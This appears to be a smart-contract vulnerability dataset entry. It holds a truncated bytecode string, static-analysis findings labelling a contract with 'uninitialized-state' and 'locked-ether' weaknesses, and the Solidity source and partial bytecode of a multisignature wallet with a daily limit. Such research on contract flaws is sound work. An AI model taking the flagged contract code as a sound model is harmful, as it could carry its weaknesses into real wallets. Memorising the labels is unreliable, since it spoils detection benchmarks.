91505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a723158203f0b679daf1d8326eee6ef905dace3ed1ef422bc8f968e878df4f8d7d9036d9264736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,260 |
0xe88b9b0826920bf95cd269dcb7515406586609fb
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101ae578063173825d91461021157806320ea8d861461024a5780632f54bf6e1461026d5780633411c81c146102be5780634bc9fdc214610318578063547415251461034157806367eeba0c146103855780636b0c932d146103ae5780637065cb48146103d7578063784547a7146104105780638b51d13f1461044b5780639ace38c214610482578063a0e67e2b14610580578063a8abe69a146105ea578063b5dc40c314610681578063b77bf600146106f9578063ba51a6df14610722578063c01a8c8414610745578063c642747414610768578063cea0862114610801578063d74f8edd14610824578063dc8452cd1461084d578063e20056e614610876578063ee22610b146108ce578063f059cf2b146108f1575b60003411156101ac573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34156101b957600080fd5b6101cf600480803590602001909190505061091a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561021c57600080fd5b610248600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610959565b005b341561025557600080fd5b61026b6004808035906020019091905050610bf5565b005b341561027857600080fd5b6102a4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d9d565b604051808215151515815260200191505060405180910390f35b34156102c957600080fd5b6102fe600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dbd565b604051808215151515815260200191505060405180910390f35b341561032357600080fd5b61032b610dec565b6040518082815260200191505060405180910390f35b341561034c57600080fd5b61036f600480803515159060200190919080351515906020019091905050610e29565b6040518082815260200191505060405180910390f35b341561039057600080fd5b610398610ebb565b6040518082815260200191505060405180910390f35b34156103b957600080fd5b6103c1610ec1565b6040518082815260200191505060405180910390f35b34156103e257600080fd5b61040e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b005b341561041b57600080fd5b61043160048080359060200190919050506110c9565b604051808215151515815260200191505060405180910390f35b341561045657600080fd5b61046c60048080359060200190919050506111af565b6040518082815260200191505060405180910390f35b341561048d57600080fd5b6104a3600480803590602001909190505061127b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561056e5780601f106105435761010080835404028352916020019161056e565b820191906000526020600020905b81548152906001019060200180831161055157829003601f168201915b50509550505050505060405180910390f35b341561058b57600080fd5b6105936112d7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105d65780820151818401526020810190506105bb565b505050509050019250505060405180910390f35b34156105f557600080fd5b61062a60048080359060200190919080359060200190919080351515906020019091908035151590602001909190505061136b565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561066d578082015181840152602081019050610652565b505050509050019250505060405180910390f35b341561068c57600080fd5b6106a260048080359060200190919050506114c7565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106e55780820151818401526020810190506106ca565b505050509050019250505060405180910390f35b341561070457600080fd5b61070c6116f1565b6040518082815260200191505060405180910390f35b341561072d57600080fd5b61074360048080359060200190919050506116f7565b005b341561075057600080fd5b61076660048080359060200190919050506117b1565b005b341561077357600080fd5b6107eb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061198e565b6040518082815260200191505060405180910390f35b341561080c57600080fd5b61082260048080359060200190919050506119ad565b005b341561082f57600080fd5b610837611a28565b6040518082815260200191505060405180910390f35b341561085857600080fd5b610860611a2d565b6040518082815260200191505060405180910390f35b341561088157600080fd5b6108cc600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a33565b005b34156108d957600080fd5b6108ef6004808035906020019091905050611d4a565b005b34156108fc57600080fd5b610904612042565b6040518082815260200191505060405180910390f35b60038181548110151561092957fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561099557600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156109ee57600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610b76578273ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a8157fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610b69576003600160038054905003815481101515610ae057fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610b1b57fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b76565b8180600101925050610a4b565b6001600381818054905003915081610b8e91906121ec565b506003805490506004541115610bad57610bac6003805490506116f7565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c4e57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610cb957600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610ce957600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006201518060075401421115610e07576006549050610e26565b6008546006541015610e1c5760009050610e26565b6008546006540390505b90565b600080600090505b600554811015610eb457838015610e68575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e9b5750828015610e9a575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610ea7576001820191505b8080600101915050610e31565b5092915050565b60065481565b60075481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0157600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610f5b57600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8257600080fd5b60016003805490500160045460328211158015610f9f5750818111155b8015610fac575060008114155b8015610fb9575060008214155b1515610fc457600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600380548060010182816110309190612218565b9160005260206000209001600087909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b6000806000809150600090505b6003805490508110156111a75760016000858152602001908152602001600020600060038381548110151561110757fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611187576001820191505b60045482141561119a57600192506111a8565b80806001019150506110d6565b5b5050919050565b600080600090505b600380549050811015611275576001600084815260200190815260200160002060006003838154811015156111e857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611268576001820191505b80806001019150506111b7565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6112df612244565b600380548060200260200160405190810160405280929190818152602001828054801561136157602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611317575b5050505050905090565b611373612258565b61137b612258565b60008060055460405180591061138e5750595b9080825280602002602001820160405250925060009150600090505b60055481101561144a578580156113e1575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806114145750848015611413575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b1561143d5780838381518110151561142857fe5b90602001906020020181815250506001820191505b80806001019150506113aa565b87870360405180591061145a5750595b908082528060200260200182016040525093508790505b868110156114bc57828181518110151561148757fe5b90602001906020020151848983038151811015156114a157fe5b90602001906020020181815250508080600101915050611471565b505050949350505050565b6114cf612244565b6114d7612244565b6000806003805490506040518059106114ed5750595b9080825280602002602001820160405250925060009150600090505b60038054905081101561164c5760016000868152602001908152602001600020600060038381548110151561153a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561163f576003818154811015156115c257fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156115fc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b8080600101915050611509565b8160405180591061165a5750595b90808252806020026020018201604052509350600090505b818110156116e957828181518110151561168857fe5b9060200190602002015184828151811015156116a057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508080600101915050611672565b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561173157600080fd5b60038054905081603282111580156117495750818111155b8015611756575060008114155b8015611763575060008214155b151561176e57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a1505050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561180a57600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561186657600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156118d257600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361198785611d4a565b5050505050565b600061199b848484612048565b90506119a6816117b1565b9392505050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119e757600080fd5b806006819055507fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca2816040518082815260200191505060405180910390a150565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a6f57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611ac857600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611b2257600080fd5b600092505b600380549050831015611c0d578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611b5a57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611c005783600384815481101515611bb257fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c0d565b8280600101935050611b27565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b60008033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611da657600080fd5b83336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611e1157600080fd5b85600080828152